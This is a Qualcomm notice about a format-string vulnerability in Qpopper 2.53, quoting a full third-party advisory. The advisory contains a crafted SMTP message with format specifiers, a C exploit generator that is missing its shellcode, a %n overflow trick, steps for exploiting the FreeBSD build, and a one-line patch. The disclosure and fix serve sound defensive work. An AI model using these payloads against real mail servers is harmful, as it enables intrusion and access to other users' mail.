Security Vulnerability in Qpopper 2.53 (Upgrade to 3.0.2)

[qpopper () QUALCOMM COM (Qpopper Support)]

Qpopper development has learned of a security vulnerability in
Qpopper 2.53 (and older).  All users of Qpopper are urged to upgrade
to 3.0.2 or later.

The exploit (details below) involves sending a specially-constructed
message to a user, then logging in as that user and issuing the EUIDL
command.  A successful attack can yield a shell running with group
'mail'.

  It is important to note that the attack:

    1.  Requires the ability to log in as a user.
    2.  Can at most give a shell with uid of the user and gid of mail,
potentially allowing access to other user's mail.
    3.  Will be logged.
    4.  Requires Qpopper 2.53 or older.  The current released version is 3.0.2.

In addition, not all sites use group 'mail' or have Qpopper set to
run with gid=mail, or have spools owned by group 'mail' and have rw
group access.  However, this is a very common configuration.

Qpopper 3.0 has additional protections against buffer overflows; this
exploit proves the usefulness of this approach.  While the report
says "Qpop, again and again", implying this is a recurring problem in
Qpopper; in fact there is no problem in current released versions;
only older versions are vulnerable.

Following verbatim is the report we received from
prizm () resentment org of the vulnerability (note that it says Qpopper
3.1 is OK; Qpopper 3.0 is also OK, due to the extra precautions in
that codebase):

_____________________________________________________________________
            b u f f e r 0 v e r f l 0 w   s e c u r i t y   a d v i s o
r y   # 5

                      Advisory Name: Remote shell via Qpopper2.53
                             Date: 5/23/00
                      Application: Qpopper 2.53 for *NIX
                           Vendor: Qualcomm Incorporated
                              WWW: www.qualcomm.com
                         Severity: can give users remote
                                    shell with gid=mail.
                           Author: prizm (prizm () resentment org)
                        Homepage: b0f.freebsd.lublin.pl

  * Overview
        Qpopper is the most widely-used server for the POP3 protocol.
This allows users to
        access their mail using any POP3 client.  Qpopper supports
the latest standards,
         and includes a large number of optional features.  Qpopper is
normally used with
         standard UNIX mail transfer and delivery agents such as
sendmail or smail.

  * The Problem
        Yes, Qpop, again and again...
        There is a bug in version 2.53 of Qpop that can give you a remote
        shell with gid=mail. Problem is with euidl command which uses
user input as
        format string for pop_msg() function.
        Lets examine following code from Qpop 2.53 source:
        --> pop_uidl.c, around line 150:
        ................
                sprintf(buffer, "%d %s", msg_id, mp->uidl_str);
                if (nl = index(buffer, NEWLINE)) *nl = 0;
                sprintf(buffer, "%s %d %.128s", buffer, mp->length,
from_hdr(p, mp));
        !      return (pop_msg (p,POP_SUCCESS, buffer));
                                       ^^^^^^^^^^^^^
        .................
        Function pop_msg() is declared in pop_msg.c as pop_msg(POP
*p, int stat,
        const char *format,...), and here we have user-input as
format string. Lame.
        Ok, back to problem, imagine following smtp session:

             MAIL FROM:<hakker () evil org>
             200 Ok
             RCPT TO:<luser () host withqpop253 com>
             200 Ok
             data
             200 Okey, okey. end with "."
             Subject: still trust qpop?=/
             X-UIDL: AAAAAAAAAAAAAAAA
             From: %p%p%p%p%p%p%p

             test
             .
             200 BLABLABLA Ok, message accepted for delivery.

          Then, luser connects with his pop account and runs euidl
command there:
                +OK QPOP (version 2.53) at b0f starting. <666.666@b0f>
                USER luser
                +OK Password required for luser.
                PASS secret
                +OK luser has 3 messages (1644 octets).
                euidl 3
                +OK 2 AAAAAAAAAAAAAAAA 530
0xbfbfc9b00x804fd740xbfbfc9b00x2120x8052e5e0xbfbfd1e80x8057028

          Yeah, thats from my box with FreeBSD. As you can see, our
%p%p%p%p%p%p%p
          where implemented as arguments for vsnprintf() command.

  * Exploiting
          Is this possible? Yeah, sure!
        But there are some limits. Qpopper2.53 from FreeBSD ports
with patches is
        much more difficult to exploit than one from linux. It is
because freebsd
        patches change vsprintf() call in pop_msg.c to vsnprintf()
call, and there is
        big difference between them. Qpopper with FreeBSD's patches
IS exploitable.

        Exploit
        -------
/*  qpop_euidl.c exploit by prizm/Buffer0verflow Security
  *
  *  Sample exploit for buffer overflow in Qpopper 2.53.
  *  This little proggie generates a mail u need to send.
  *
  *  Standard disclaimer applies.
  *  By the way, exploit is broken =) You need to insert shellcode.
  *
  *  MAD greets to tf8 for pointing out the bug, and all other b0f members.
  *  greets to USSRLabs and ADM
  *  check http://b0f.freebsd.lublin.pl/ for news.
  */
#include <stdio.h>
#include <string.h>

char shellcode[]="imnothing";
int main(int argc, char *argv[])
{
        int i;
        unsigned long ra=0;
        if(argc!=2) {
                fprintf(stderr,"Usage: %s return_addr\n", argv[0]);
                exit(0);
        }
        sscanf(argv[1], "%x", &ra);
        if(!ra)
                  return;
        if(sizeof(shellcode) < 12 || sizeof(shellcode) > 76) {
                fprintf(stderr,"Bad shellcode\n");
                exit(0);
        }
        fprintf(stderr,"return address: 0x%.8x\n", ra);
        printf("X-UIDL: ");
        for(i=0; i < sizeof(shellcode);i++)
                printf("%c", shellcode[i]);
        printf("\r\n");
        printf("From: %s", "%.1000d");
        for(i=0; i < 50; i++)
                printf("%c%c%c%c", (ra & 0xff), (ra & 0xff00)>>8, (ra
& 0xff0000)>>16, (ra & 0xff000000)>>24);
        printf("@test\r\n");
        printf("Subject: test\r\n\r\nhuh?\r\n.\r\n");
        return 0;
}

        Exploiting QPOP from FreeBSD ports
        ----------------------------------

        It is NOT easy, because vsprintf() is replaced with
vsnprintf() so we can't
        overflow stack, but we still have control over it (remeber %n?).
        Im not going to post exploit for this because it is really
generic, but I
        will explain theory on exploiting qpop with vsNprintf.
        There is an little trick with %n YOu should know. Try to
understand why
        folowing code succeeds and prints out 2000, not sizeof(b):
---<cut>---
#include <stdio.h>
int main(void){
         int s=1; char b[1024]; int q;
         snprintf(b, sizeof(b), "%.2000d%n", 1, &q);
         return printf("%d, overflowed? %s\n", q, (s==1?"NO":"YES"));
}
---</cut>---
        On my box with FreeBSD 3.4 i have:
        2000, overflowed? NO

        Hah, first time i expected to see 1024, but YOu know that all is
        unpredictable . So, this little thing will help us a lot.
        Exploiting it:
        a) Find where in stack is located user input.
        b) Compose a message with filed X-UIDL and From:
                X-UIDL: ppRETARETARETARETA
                From: <SHELLCODE>%.RETURNd%n@test
        where:
        "pp"                    is for padding (two or three chars)
        "RETA"          is return address pointing to SHELLCODE
        "SHELLCODE"             guess
        "RETURN"                return address

        c) Exploit? If you need an exploit that will work on FreeBSD,
code it yourself.

  * Vulnerable Versions
        2.53(Others?)

  * Fix
        You can download Qpopper 3.1 at
http://www.eudora.com/freeware/qpop.html#CURRENT which
         is not vulnerable to this problem.

        Or you can manually patch it by doing the following:

          At lines 150 and 62 from pop_msg.c, replace:
        - return (pop_msg (p,POP_SUCCESS, buffer));
          to:
        + return (pop_msg (p,POP_SUCCESS, "%s", buffer));

                                        copyright © 1999-2000
                                    prizm, buffer0verfl0w security
                                        b0f.freebsd.lublin.pl